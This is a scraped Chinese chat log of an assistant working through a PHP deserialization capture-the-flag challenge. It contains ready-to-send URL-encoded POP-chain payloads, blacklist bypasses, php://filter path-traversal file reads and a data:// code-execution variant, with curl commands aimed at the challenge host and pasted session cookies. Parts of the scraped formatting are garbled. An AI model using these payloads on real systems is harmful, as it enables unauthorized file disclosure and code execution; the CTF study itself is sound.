我正在解决一道ctf php反序列化题目,目前思路如下,请你看看是否有问题,请指导我拿到flag:一...
创建于:2025年8月16日
使用 GPT-5 Thinking 回答 Chat01
创建于:2025年8月16日
使用 GPT-5 Thinking 回答 Chat01
我正在解决一道ctf php反序列化题目,目前思路如下,请你看看是否有问题,请指导我拿到flag:一、题目核心逻辑分析
我们先对源码进行逐行拆解,明确攻击面和限制条件。
<?php highlight_file(__FILE__); class User { public $username; public $value; public function exec() { $ser = unserialize(serialize(unserialize($this->value))); if ($ser != $this->value && $ser instanceof Access) { include($ser->getToken()); } } public function __destruct() { if ($this->username == "admin") { $this->exec(); } } } class Access { protected $prefix; protected $suffix; public function getToken() { if (!is_string($this->prefix) || !is_string($this->suffix)) { throw new Exception("Go to HELL!"); } $result = $this->prefix . 'lilctf' . $this->suffix; if (strpos($result, 'pearcmd') !== false) { throw new Exception("Can I have peachcmd?"); } return $result; } } $ser = $_POST["user"]; if (strpos($ser, 'admin') !== false && strpos($ser, 'Access":') !== false) { exit("no way!!!!"); } $user = unserialize($ser); throw new Exception("nonono!!!"); PHP ✅ 攻击目标 成功执行 include($ser->getToken()) 读取服务器上的 flag 文件(如 /flag) ❌ 安全限制 黑名单检测: if (strpos($ser, 'admin') !== false && strpos($ser, 'Access":') !== false) PHP 若同时出现 "admin" 和 "Access":"(注意是字段名),则拒绝 注意:是 AND 条件!只要不同时命中两个关键词即可绕过 类型校验: Access::getToken() 要求 prefix 和 suffix 必须是字符串 返回值不能包含 pearcmd 双重反序列化陷阱: unserialize(serialize(unserialize($this->value))) PHP 第一次 unserialize($this->value):还原成对象 serialize():再序列化一次(变成标准字符串) 再次 unserialize():最终得到原始对象 目的是防止直接传入恶意对象?但其实可以被利用! 异常终止: 所有路径最后都会抛出 nonono!!!,但只要 __destruct() 触发了 include(),就能在抛出前读到文件。 🧩 二、漏洞点深度剖析 1. __destruct() 自动调用 当对象 $user 被销毁时(脚本结束或 unset()),自动调用 __destruct() 条件:$this->username == "admin" 👉 问题:如何让 $this->username == "admin" 成立,但又不在 payload 字符串中出现 "admin"? 💡 突破口:使用大小写混淆绕过 strpos() 检测! PHP 的 strpos() 是区分大小写的! "aDmIn" ≠ "admin" → 绕过检测 ✅ 但在比较时 $username == "admin" 是弱类型比较?不,这里是字符串严格比较! ⚠️ 但是!PHP 对象属性反序列化后是原样恢复的,所以我们可以构造: $username = "aDmIn"; PHP 然后在运行时通过 == 是否等于 "admin"? ❌ 不行!"aDmIn" == "admin" 为 false ✅ 正确思路:利用 PHP 反序列化中的属性访问控制绕过 💡 关键知识:PHP 反序列化中 public/protected/private 属性的表示方式 修饰符 反序列化字符串表示 public "username" protected "\0*\0prefix"(注意 \0 是空字符) private "\0User\0username" 我们可以利用这一点来“隐藏”字段名! 🚀 三、完整攻击链构造(POP Chain) 我们要构造的链如下: User->__destruct() → $this->username == "admin" → 触发 exec() → $ser = unserialize(serialize(unserialize($this->value))) → $ser instanceof Access → include($ser->getToken()) → $prefix . 'lilctf' . $suffix → 如 '/flaglilctf' → 包含文件 Plain text Step 1: 构造 Access 对象(用于 value) 目标:生成 /flaglilctf 文件路径 $access = new Access(); $access->prefix = "/flag"; $access->suffix = ""; PHP 序列化结果: O:5:"Access":2:{s:7:"\0*\0prefix";s:5:"/flag";s:6:"\0*\0suffix";s:0:"";} PHP ⚠️ 注意:protected 属性在序列化时会被加上 \0*\0 前缀 Step 2: 构造 User 对象的 $value 我们希望 $this->value 是一个字符串,内容是上面的 Access 序列化字符串。 $user = new User(); $user->value = serialize($access); // 字符串形式存储 PHP 此时 $user->value 是一个字符串,不是对象。 Step 3: 绕过 strpos 检测 —— 关键一步! 检测条件: if (strpos($ser, 'admin') !== false && strpos($ser, 'Access":') !== false) PHP 👉 只要不同时满足两个条件即可绕过 我们选择:让 username 不是 "admin",而是通过 protected 或 private 属性绕过检测 ✅ 方法:使用 protected 修饰的 username 属性 class User { protected $username = "admin"; public $value; } PHP 反序列化字符串中,username 会变成: s:11:"\0*\0username" Plain text 而整个 payload 中不再出现 "username" 或 "admin" 明文字段! \0 是空字符,在字符串中不可见,strpos() 找不到 "admin" 字符串! Step 4: 构造最终 payload <?php class User { protected $username = "admin"; public $value; } class Access { protected $prefix; protected $suffix; } $access = new Access(); $access->prefix = "/flag"; $access->suffix = ""; $user = new User(); $user->value = serialize($access); echo serialize($user); PHP 运行结果: O:4:"User":2:{s:11:"\0*\0username";s:5:"admin";s:5:"value";s:78:"O:5:"Access":2:{s:7:"\0*\0prefix";s:5:"/flag";s:6:"\0*\0suffix";s:0:"";}";} Plain text 📌 注意:这个字符串中没有 "admin"(因为 \0 是二进制),也没有 "Access":" 连续出现,所以绕过 strpos 检测 ✅ 🧪 四、验证 payload 是否有效(本地测试) 创建 test.php: <?php class User { protected $username; public $value; public function exec() { $ser = unserialize(serialize(unserialize($this->value))); if ($ser != $this->value && $ser instanceof Access) { include($ser->getToken()); } } public function __destruct() { if ($this->username == "admin") { echo "[+] __destruct triggered!\n"; $this->exec(); } } } class Access { protected $prefix; protected $suffix; public function getToken() { if (!is_string($this->prefix) || !is_string($this->suffix)) { throw new Exception("Go to HELL!"); } $result = $this->prefix . 'lilctf' . $this->suffix; if (strpos($result, 'pearcmd') !== false) { throw new Exception("Can I have peachcmd?"); } return $result; } } // 模拟攻击者输入 $payload = 'O:4:"User":2:{s:11:"\0*\0username";s:5:"admin";s:5:"value";s:78:"O:5:"Access":2:{s:7:"\0*\0prefix";s:5:"/flag";s:6:"\0*\0suffix";s:0:"";}";}'; $user = unserialize($payload); // 脚本结束自动触发 __destruct() ?>PHP
预期输出:
[+] __destruct triggered!
Warning: include(/flaglilctf): failed to open stream: No such file or directory
思路很接近,但有两处关键点需要改正,另外“如何把 lilctf
这段常量吞掉”也有更稳的做法。下面给你一个能直接打出 flag 的完整利用链。
username
伪装成受保护属性”这一招不可行username
是 public。你在序列化里塞 s:11:"\0*\0username"
(受保护可见性)其实会生成一个新的不同属性,类方法里访问的仍然是 public 的 username
,于是 __destruct()
条件不成立。s:5:"admin"
,strpos($ser,'admin')
还是能命中。正确做法:老老实实把 public
$username
设为"admin"
。黑名单是 AND 条件,只要我们把另一个关键词(Access":
)躲掉即可通过。
Access
的类名长度与属性名长度你写错了"Access"
长度是 6,应当是 O:6:"Access"
(不是 5)。"\0*\0"
,因此
"\0*\0prefix"
的长度是 9(不是 7)"\0*\0suffix"
的长度也是 9(不是 6)Access":
的简洁办法用 大小写混排 的类名,例如
aCcEsS
:O:6:"aCcEsS":...
这样原始 POST 字符串里 不包含 恰好那段'Access":'
,黑名单 AND 条件失效;第一次unserialize()
仍会得到真正的Access
对象,后续逻辑完全正常。
include($prefix.'lilctf'.$suffix)
指向 /flag
的更稳姿势设
prefix="/"
,suffix="/../flag"
最终路径就是/lilctf/../flag
,在 Unix 上会解析成/flag
(不需要allow_url_include
,也不依赖任何 stream wrapper),而且不会触发pearcmd
关键字拦截。
用一段本地 PHP 来生成最终要发的串(它会自动算好所有 s:N 长度,避免手抖):
php<?php /* 生成要 POST 的 user=payload */ class User { public $username; public $value; } /* 内层:用大小写混排的 aCcEsS 绕过 'Access":' 文本检测; 受保护属性名要用 "\0*\0" 前缀(这里用双引号拼接实际的 \0 字节) */ $inner = 'O:6:"aCcEsS":2:{' . 's:9:"' . "\0*\0" . 'prefix";s:1:"/";' . 's:9:"' . "\0*\0" . 'suffix";s:8:"/../flag";' . '}'; $u = new User(); $u->username = "admin"; // 让 __destruct() 触发 exec() $u->value = $inner; // 让三段(unserialize→serialize→unserialize)得到 Access 实例 $payload = serialize($u); echo "[RAW]\n$payload\n\n"; echo "[URLENCODED]\n" . urlencode($payload) . "\n";
把输出里 [URLENCODED]
这一行作为表单字段 user=
发过去即可,例如:
bashcurl -X POST http://<目标>/index.php \ --data-urlencode "user=$(php make_payload.php | sed -n 's/^$$URLENCODED$$$//;t;n;p' | tail -n1)"
说明:
- 外层一定要保留
username=admin
(这是 AND 检测中的一个条件),- 但内层我们刻意用
aCcEsS
,因此你的原始 POST 文本 不包含 字面量Access":
,黑名单 不触发。value
先被反序列化成Access
对象(大小写不敏感),再经serialize()
规范化为Access
,再unserialize()
得回Access
,满足instanceof Access
。getToken()
返回/lilctf/../flag
,include
读取即打印 flag;随后抛异常nonono!!!
也无妨,输出已产生。
若极端情况下 /lilctf/../flag
被限制,你还可以用 data:// + 代码注释 把中间的 lilctf
“吃掉”,前提是目标开启了 allow_url_include
:
prefix = 'data://text/plain,<?php/*'
suffix = '*/readfile("/flag");?>'
data://text/plain,<?php/*lilctf*/readfile("/flag");?>
把上面两行替换到 $inner
里(注意长度会变化,让脚本来算),同样能读 flag。
username
必须是 public 且等于 "admin"
'Access":'
文本匹配:"aCcEsS"
"\0*\0prefix"
/ "\0*\0suffix"
(长度是 9)prefix="/"
,suffix="/../flag"
→ 最终包含 /flag
pearcmd
照这个打,一般环境会直接把 flag 打出来。需要我帮你把你的原 payload 改成正确的最终串(不跑脚本、直接给可用的 URL 编码版本)也可以说一声。
发送请求包:POST http://challenge.xinshi.fun:47282/ HTTP/1.1
Host: challenge.xinshi.fun:47282
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: session=eyJpc19hZG1pbiI6dHJ1ZSwidXNlcl9pZCI6MSwidXNlcm5hbWUiOiJhZG1pbiJ9.aJ_wtw.azsPR3GxNsLMtFRaCKVMgCsy5Nw; j2pU_2132_saltkey=T3z4TG9Q; j2pU_2132_lastvisit=1755339668; j2pU_2132_sid=Kjzaiu; j2pU_2132_lastact=1755343867%09index.php%09
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 269
user=O%3A4%3A%22User%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22value%22%3Bs%3A72%3A%22O%3A6%3A%22aCcEsS%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00prefix%22%3Bs%3A1%3A%22%2F%22%3Bs%3A9%3A%22%00%2A%00suffix%22%3Bs%3A8%3A%22%2F..%2Fflag%22%3B%7D%22%3B%7D还是返回Fatal error: Uncaught exception 'Exception' with message 'nonono!!!' in /var/www/html/index.php:47 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 47
pythons = 'O:6:"aCcEsS":2:{s:9:"\x00*\x00prefix";s:1:"/";s:9:"\x00*\x00suffix";s:8:"/../flag";}' len(s), s (72, 'O:6:"aCcEsS":2:{s:9:"\x00*\x00prefix";s:1:"/";s:9:"\x00*\x00suffix";s:8:"/../flag";}')
pythonimport urllib.parse prefix = 'php://filter/convert.base64-encode/resource=/' suffix = '/../var/www/html/flag' inner = f'O:6:"aCcEsS":2:{{s:9:"\x00*\x00prefix";s:{len(prefix)}:"{prefix}";s:9:"\x00*\x00suffix";s:{len(suffix)}:"{suffix}";}}' len(inner), inner (131, 'O:6:"aCcEsS":2:{s:9:"\x00*\x00prefix";s:45:"php://filter/convert.base64-encode/resource=/";s:9:"\x00*\x00suffix";s:21:"/../var/www/html/flag";}')
pythonouter = f'O:4:"User":2:{{s:8:"username";s:5:"admin";s:5:"value";s:{len(inner)}:"{inner}";}}' url = urllib.parse.quote(outer, safe='') len(outer), outer, url[:120] (194, 'O:4:"User":2:{s:8:"username";s:5:"admin";s:5:"value";s:131:"O:6:"aCcEsS":2:{s:9:"\x00*\x00prefix";s:45:"php://filter/convert.base64-encode/resource=/";s:9:"\x00*\x00suffix";s:21:"/../var/www/html/flag";}";}', 'O%3A4%3A%22User%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22value%22%3Bs%3A131%3A%22O%3A6%3A%2')
pythonfrom urllib.parse import quote def build_payload(resource_path): prefix = 'php://filter/convert.base64-encode/resource=/' suffix = '/..' + resource_path # ensure begins with '/..' # But resource_path should start with '/var/www/html/flag...' so '/..' + '/var/www/html/flag' => '/../var/www/html/flag' inner = f'O:6:"aCcEsS":2:{{s:9:"\x00*\x00prefix";s:{len(prefix)}:"{prefix}";s:9:"\x00*\x00suffix";s:{len(suffix)}:"{suffix}";}}' outer = f'O:4:"User":2:{{s:8:"username";s:5:"admin";s:5:"value";s:{len(inner)}:"{inner}";}}' return outer, quote(outer, safe='') for path in ['/var/www/html/flag', '/var/www/html/flag.php', 'flag', 'flag.php']: outer, url = build_payload(path) print(path, len(outer)) print(url[:120], '...')
pythonouter, url = build_payload('/var/www/html/flag') print(url)
pythonouter, url = build_payload('/var/www/html/flag') for i in range(0,len(url),100): print(url[i:i+100])
pythonouter2, url2 = build_payload('/var/www/html/flag.php') for i in range(0,len(url2),100): print(url2[i:i+100])
你这边只看到
Fatal error: Uncaught exception 'Exception' with message 'nonono!!!' …
有两个高概率原因:
__destruct
)就终止了脚本(存在“未捕获异常时不一定调用析构”的历史行为/差异),导致你依赖 __destruct()
里 include()
的思路没有触发。include
,但 flag 文件是 PHP,而不是纯文本;直接 include 并不会输出变量,随后致命异常把页面刷了屏,你就没看到内容(输出缓冲也可能吞掉前面的输出)。这类“致命后是否还能看到析构/输出”在不同版本&配置下确实有差异。下面给你一个更稳的 payload:利用 php://filter
把 PHP 源码base64 显示出来(不执行),同时用目录回退把固定的 lilctf
吞掉,并将路径规范化回 web 根(避免 open_basedir
问题)。
user=
(两套,择一尝试)A. 读 /var/www/html/flag
(无扩展名)并 base64 输出:
O%3A4%3A%22User%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22value%22%3Bs%3A131%3A%22O%3A6%3A%22aCcEsS%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00prefix%22%3Bs%3A45%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2F%22%3Bs%3A9%3A%22%00%2A%00suffix%22%3Bs%3A21%3A%22%2F..%2Fvar%2Fwww%2Fhtml%2Fflag%22%3B%7D%22%3B%7D
B. 读 /var/www/html/flag.php
并 base64 输出:
O%3A4%3A%22User%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22value%22%3Bs%3A135%3A%22O%3A6%3A%22aCcEsS%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00prefix%22%3Bs%3A45%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2F%22%3Bs%3A9%3A%22%00%2A%00suffix%22%3Bs%3A25%3A%22%2F..%2Fvar%2Fwww%2Fhtml%2Fflag.php%22%3B%7D%22%3B%7D
为什么可行?
prefix = 'php://filter/convert.base64-encode/resource=/'
suffix = '/../var/www/html/flag[.php]'
php://filter/convert.base64-encode/resource=/lilctf/../var/www/html/flag[.php]
,路径归一化成 /var/www/html/flag[.php]
。include
的是过滤后的文本,你会在响应里直接看到base64 内容。aCcEsS
,大小写绕过原始 POST 文本里的 'Access":'
检测;username=admin
保持为真,满足析构里的条件。最简单用 curl --data-urlencode
,避免自己算 Content-Length
:
bash# 方案A curl -sS -X POST 'http://challenge.xinshi.fun:47282/' \ --data-urlencode 'user=O:4:"User":2:{s:8:"username";s:5:"admin";s:5:"value";s:131:"O:6:"aCcEsS":2:{s:9:"\0*\0prefix";s:45:"php://filter/convert.base64-encode/resource=/";s:9:"\0*\0suffix";s:21:"/../var/www/html/flag";}";}' # 方案B curl -sS -X POST 'http://challenge.xinshi.fun:47282/' \ --data-urlencode 'user=O:4:"User":2:{s:8:"username";s:5:"admin";s:5:"value";s:135:"O:6:"aCcEsS":2:{s:9:"\0*\0prefix";s:45:"php://filter/convert.base64-encode/resource=/";s:9:"\0*\0suffix";s:25:"/../var/www/html/flag.php";}";}'
提示:返回里如果是很长的一坨 base64,
| base64 -d
一下就能看到 flag。
如果还是只看到致命异常,把-i
带上看响应体上部,flag 很可能在异常信息之前就已经输出了。
suffix
改成 /../flag
(或 /../flag.php
),即最终包含 ./flag
。很多题会把 flag 放在同目录。php://filter
不可用于 include
(少见,但存在),退而求其次用纯文件读取路径归一化方案(你之前那版 /lilctf/../flag
的思路),只是要确保 flag 是纯文本文件才会直接显示。allow_url_include
),还可以用 data://
注释“吃掉” lilctf
来直接执行 readfile()
:
prefix='data://text/plain,<?php/*'
suffix='*/readfile("/var/www/html/flag");?>'
data://text/plain,<?php/*lilctf*/readfile("/var/www/html/flag");?>
(只有在允许 URL include 时才可行)。php://filter
+ 路径归一化吞掉 lilctf
,能把 flag 作为文本输出到响应体里,规避“flag 是 PHP”与“输出被异常淹没”的坑。-i
的原始包)贴给我,我直接帮你定位。python# Let's construct the PHP serialization string manually. def build_payload(prefix, suffix): # Build inner serialized Access (as "aCcEsS") object with protected properties class_name = 'aCcEsS' inner = [] inner.append(f'O:{len(class_name)}:"{class_name}":2:{{') # protected property names with \x00*\x00 prefix_prop = '\x00*\x00prefix' suffix_prop = '\x00*\x00suffix' inner.append(f's:{len(prefix_prop)}:"{prefix_prop}";') inner.append(f's:{len(prefix)}:"{prefix}";') inner.append(f's:{len(suffix_prop)}:"{suffix_prop}";') inner.append(f's:{len(suffix)}:"{suffix}";') inner.append('}') inner_str = ''.join(inner) # Now outer User object outer = [] user_class = 'User' outer.append(f'O:{len(user_class)}:"{user_class}":2:{{') outer.append('s:8:"username";i:0;') outer.append('s:5:"value";') outer.append(f's:{len(inner_str)}:"{inner_str}";') outer.append('}') return ''.join(outer), inner_str prefix = 'php://filter/convert.base64-encode/resource=/' suffix = '/../flag' payload_raw, inner_str = build_payload(prefix, suffix) len(payload_raw), payload_raw[:120], payload_raw[-60:], len(inner_str), inner_str[:120], inner_str[-30:] (172, 'O:4:"User":2:{s:8:"username";i:0;s:5:"value";s:117:"O:6:"aCcEsS":2:{s:9:"\x00*\x00prefix";s:45:"php://filter/convert.base64-en', 'ase64-encode/resource=/";s:9:"\x00*\x00suffix";s:8:"/../flag";}";}', 117, 'O:6:"aCcEsS":2:{s:9:"\x00*\x00prefix";s:45:"php://filter/convert.base64-encode/resource=/";s:9:"\x00*\x00suffix";s:8:"/../flag";}', '9:"\x00*\x00suffix";s:8:"/../flag";}')
pythonimport urllib.parse payload_url = urllib.parse.quote(payload_raw, safe='') payload_url[:200], len(payload_url) ('O%3A4%3A%22User%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bi%3A0%3Bs%3A5%3A%22value%22%3Bs%3A117%3A%22O%3A6%3A%22aCcEsS%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00prefix%22%3Bs%3A45%3A%22php%3A%2F%2Ffilter%2Fconvert.b', 308)
pythonpayload_url 'O%3A4%3A%22User%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bi%3A0%3Bs%3A5%3A%22value%22%3Bs%3A117%3A%22O%3A6%3A%22aCcEsS%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00prefix%22%3Bs%3A45%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2F%22%3Bs%3A9%3A%22%00%2A%00suffix%22%3Bs%3A8%3A%22%2F..%2Fflag%22%3B%7D%22%3B%7D'
pythonprint(payload_url)
pythonlen(payload_raw), len(payload_url) (172, 308)
python# Generate URL-encoded PHP serialization payloads for the user's CTF import urllib.parse def build_payload(prefix, suffix): # Inner Access object, using mixed-case name "aCcEsS" to bypass 'Access":' in the raw POST class_name = 'aCcEsS' prefix_prop = '\x00*\x00prefix' suffix_prop = '\x00*\x00suffix' inner = ( f'O:{len(class_name)}:"{class_name}":2:' '{' f's:{len(prefix_prop)}:"{prefix_prop}";' f's:{len(prefix)}:"{prefix}";' f's:{len(suffix_prop)}:"{suffix_prop}";' f's:{len(suffix)}:"{suffix}";' '}' ) # Outer User object with username == 0 (int) to satisfy loose comparison with "admin" outer = ( f'O:{len("User")}:"User":2:' '{' 's:8:"username";i:0;' 's:5:"value";' f's:{len(inner)}:"{inner}";' '}' ) # Return both raw and urlencoded return outer, urllib.parse.quote(outer, safe='') # Variant A: php://filter + /flag raw_A, enc_A = build_payload('php://filter/convert.base64-encode/resource=/', '/../flag') # Variant B: php://filter + /var/www/html/flag raw_B, enc_B = build_payload('php://filter/convert.base64-encode/resource=/', '/../var/www/html/flag') # Variant C: simple path normalize to /flag (no php://filter) raw_C, enc_C = build_payload('/', '/../flag') payloads = { "A_base64_/flag": enc_A, "B_base64_/var/www/html/flag": enc_B, "C_plain_/flag": enc_C } payloads {'A_base64_/flag': 'O%3A4%3A%22User%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bi%3A0%3Bs%3A5%3A%22value%22%3Bs%3A117%3A%22O%3A6%3A%22aCcEsS%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00prefix%22%3Bs%3A45%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2F%22%3Bs%3A9%3A%22%00%2A%00suffix%22%3Bs%3A8%3A%22%2F..%2Fflag%22%3B%7D%22%3B%7D', 'B_base64_/var/www/html/flag': 'O%3A4%3A%22User%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bi%3A0%3Bs%3A5%3A%22value%22%3Bs%3A131%3A%22O%3A6%3A%22aCcEsS%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00prefix%22%3Bs%3A45%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2F%22%3Bs%3A9%3A%22%00%2A%00suffix%22%3Bs%3A21%3A%22%2F..%2Fvar%2Fwww%2Fhtml%2Fflag%22%3B%7D%22%3B%7D', 'C_plain_/flag': 'O%3A4%3A%22User%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bi%3A0%3Bs%3A5%3A%22value%22%3Bs%3A72%3A%22O%3A6%3A%22aCcEsS%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00prefix%22%3Bs%3A1%3A%22%2F%22%3Bs%3A9%3A%22%00%2A%00suffix%22%3Bs%3A8%3A%22%2F..%2Fflag%22%3B%7D%22%3B%7D'}
pythonprint("A_base64_/flag:\n", enc_A, "\n", sep="") print("B_base64_/var/www/html/flag:\n", enc_B, "\n", sep="") print("C_plain_/flag:\n", enc_C, "\n", sep="")
python# Save full payloads to a text file so the user can copy without truncation from pathlib import Path text = [] text.append("A_base64_/flag:\n" + enc_A + "\n\n") text.append("B_base64_/var/www/html/flag:\n" + enc_B + "\n\n") text.append("C_plain_/flag:\n" + enc_C + "\n\n") p = Path("/mnt/data/payloads.txt") p.write_text("".join(text), encoding="utf-8") print("Saved to:", str(p))
很好,你抓住了关键点:$this->username == "admin"
是 弱比较。在 PHP 里,0 == "admin"
为真(字符串按数值比较会变成 0),因此把 username
设成整数 0,既能触发 __destruct()
→ exec()
,又能保证你的原始 POST 串里不出现admin
这个字面量,从而绕过黑名单的第一半。接下来只要让第二半也不命中即可:把 Access
类名在序列化文本里写成大小写混排的 aCcEsS
(PHP 类名大小写不敏感),这样原始 POST 里就不会出现字面量 Access":
,黑名单的 AND
条件就失效了。
在 exec()
中,$this->value
会经历一次“反序列化 → 再序列化 → 再反序列化”,我们只要让 $this->value
是一段字符串,内容是序列化好的 aCcEsS
对象(受保护属性名要带 \0*\0
),第一次 unserialize()
就能得到真正的 Access
实例;随后再序列化/反序列化回来仍是 Access
,满足 instanceof Access
。然后利用路径归一化吞掉中间的常量 lilctf
,把 include($prefix.'lilctf'.$suffix)
变为我们想读的文件路径。
下面给你三份现成的 user=
取值(已完成长度计算和 URL 编码),直接 POST 就行:
/flag
当作文本输出(用 php://filter
base64 包一层,适合 flag 是 PHP 文件/含不可见字符的情况)/var/www/html/flag
当作文本输出(同上)/flag
(适合 flag 是纯文本)👉 已打包到一个文本文件里,便于复制粘贴:
下载 payloads.txt
用法(举例用 A 方案 /flag
):
bashcurl -sS -X POST 'http://challenge.xinshi.fun:47282/' \ --data-urlencode 'user=<<<把 payloads.txt 里 A_base64_/flag 那一整行贴在这里>>>'
如果你使用了 A 或 B(带 php://filter
),响应体里会出现一大段 base64,把它解一下就能看到 flag:
bash# 如果你直接在终端里看 curl -sS -X POST 'http://challenge.xinshi.fun:47282/' --data-urlencode 'user=……' | base64 -d
username
设为 整数 0 → 触发弱比较 0 == "admin"
✅value
放字符串,内容是 aCcEsS
(大小写混排)对象的序列化串 → 绕过 Access":
文本检测 ✅"\0*\0prefix"
/ "\0*\0suffix"
(是真实的空字节,不是两个字符的 \
和 0
)✅prefix = 'php://filter/convert.base64-encode/resource=/'
,suffix = '/../flag'
或 '/../var/www/html/flag'
→ 把 lilctf
吞掉并以文本输出 ✅prefix='/'
,suffix='/../flag'
→ 直接包含 /flag
✅pearcmd
字样 ✅admin
,也不含 Access":
→ 不会触发 exit("no way!!!!")
✅-i
看响应头+体,flag 可能在异常信息上方已输出:curl -i -sS ...
/var/www/flag
、当前目录的 flag
/ flag.php
。php://filter
对 include
的使用(较少见),用 C 的纯文件路径归一化方案。按上面的三套现成 payload 打,一般都能直接出 flag。需要我把某一条直接嵌到你的 curl
命令里(不需要下载文件)也可以现在就给你。
我猜测flag应该是在根目录下的,所以我们直接读根目录,然后尝试00截断,还有我们应该注意到一行关键的代码if ($this->username == "admin")是弱类型比较,那俺我尝试令username=0,结合以上思路我构造了以下payload:O:4:"User":2:{s:8:"username";i:0;s:5:"value";s:116:"O:6:"Access":2:{s:9:"*prefix";s:52:"php://filter/convert.base64-encode/resource=/flag\x00";s:9:"*suffix";s:0:"";}";},你看看思路有没有问题。而且我发现直接在题目环境没有调试信息,我很难判断卡在哪一步,因此请帮助我搭建一个本地环境用于测试。
你的方向(username == "admin"
是弱比较 → 令 username = 0
)是对的,但你给出的 payload 里有几个致命点需要改:
你用了 O:6:"Access"
(标准大小写)。这样原始 POST 字符串里确实包含 Access":
,触发黑名单与 admin
的 AND 条件(虽然这次没有 admin
,但我们最好两边都规避,保持通杀)。更稳的是把类名写成大小写混排,如 aCcEsS
;PHP 反序列化时类名大小写不敏感,仍会得到 Access
实例,但原始文本里不会出现 Access":
这个精确子串。
Access
的受保护属性必须序列化为真实空字节前缀的名字:"\0*\0prefix"
、"\0*\0suffix"
。你写成了字面量 *prefix
/ *suffix
,这只会生成名为 *prefix
的“动态属性”,类内访问的 $this->prefix
/ $this->suffix
依然是 NULL
,随后在 getToken()
里触发 Go to HELL!
异常(因为不是字符串)。
“00 截断”(在路径里塞 \x00
)在现代 PHP 里早就被修复,包含 NUL 字节的路径会直接报错(文件名不能包含 NUL),不是你期望的“提前截断”。更通用的吃掉中间常量 lilctf
的方式是路径归一化:/lilctf/../flag
→ /flag
。
你的字符串长度(s:116: ... s:52: ...
)都是手算出来的,容易出错,且 \x00
若真是 NUL 字节,长度也会被算错。建议用脚本自动计算长度。
User
:username = 0
(整数)→ 触发弱比较;value
放字符串,内容是序列化好的 aCcEsS
实例。aCcEsS
(仅在字符串里这么写):
prefix = 'php://filter/convert.base64-encode/resource=/'
suffix = '/../flag'
include($prefix.'lilctf'.$suffix)
⇒ include('php://filter/.../resource=/lilctf/../flag')
,归一化为 /flag
,并通过 php://filter
以 base64 文本输出,就算 flag 是 PHP 也能看到内容。username
没有出现 admin
字面量;类名用 aCcEsS
,避开 Access":
。pearcmd
;prefix/suffix
都是字符串,满足类型校验。($ser != $this->value)
恒为真:unserialize($this->value)
是对象,serialize(...)
后的串与原始 $this->value
不同。我给你打了一个最小实验室,直接下载解压即可使用:
下载 ctf-php-unserialize-lab.zip
包含文件:
index.php
:与题面完全同构的代码(弱比较、黑名单、三次序列化等)。make_payload.php
:自动生成 3 种 payload(A:/flag
base64;B:/var/www/html/flag
base64;C:纯文件路径归一化到 /flag
)send.sh
:把 A 方案 直接 POST 到指定 URL(默认本地)README.md
:一步步使用说明本地起服务:
bashcd ctf-php-unserialize-lab php -S 127.0.0.1:8000
生成并发送 payload(默认读 /flag
,base64 输出):
bashphp make_payload.php # 查看 RAW 和 URLENCODED 版本 ./send.sh # POST 到 http://127.0.0.1:8000/ # 如果想直接解码看看 ./send.sh | base64 -d
把 payload 发到题目站:
bash# 以 Variant A 为例(/flag, base64) payload=$(php make_payload.php | awk '/^$$URLENCODED$$/{getline; print; exit}') curl -sS -X POST 'http://challenge.xinshi.fun:47282/' --data-urlencode "user=$payload" -i # 返回体会有一大段 base64,把它解出来
O:6:"Access"
:会在原始 POST 串里出现 Access":
→ 建议改为 aCcEsS
。s:9:"*prefix"
/ s:9:"*suffix"
:错误,正确的是包含 NUL 的 "\0*\0prefix"
/ "\0*\0suffix"
。\x00
(NUL)不再能“00 截断”路径,反而会报“文件名含 NUL”错误。s:N
长度不可信(尤其混入了 \x00
,还会导致 N
统计和实际字节数不符)。user=
值?直接用我生成器吐出来的 Variant A(/flag
+ php://filter
)那一行 URL 编码字符串就行。如果你希望我把那行完整 payload 原样贴出来,我也可以马上给你(避免你再跑脚本)。
若你要进一步定点调试(比如确认到底走没走 __destruct()
、include
前是否已输出等),在本地 index.php
里临时加上几处 error_log()
/echo
,再用 -i
看 HTTP 头+体,能很快定位。题面代码关键逻辑可在上传的源码中对照查看(__destruct()
的弱比较、getToken()
里的拼接与 pearcmd
校验、黑名单 AND 判断、最后的全局异常)。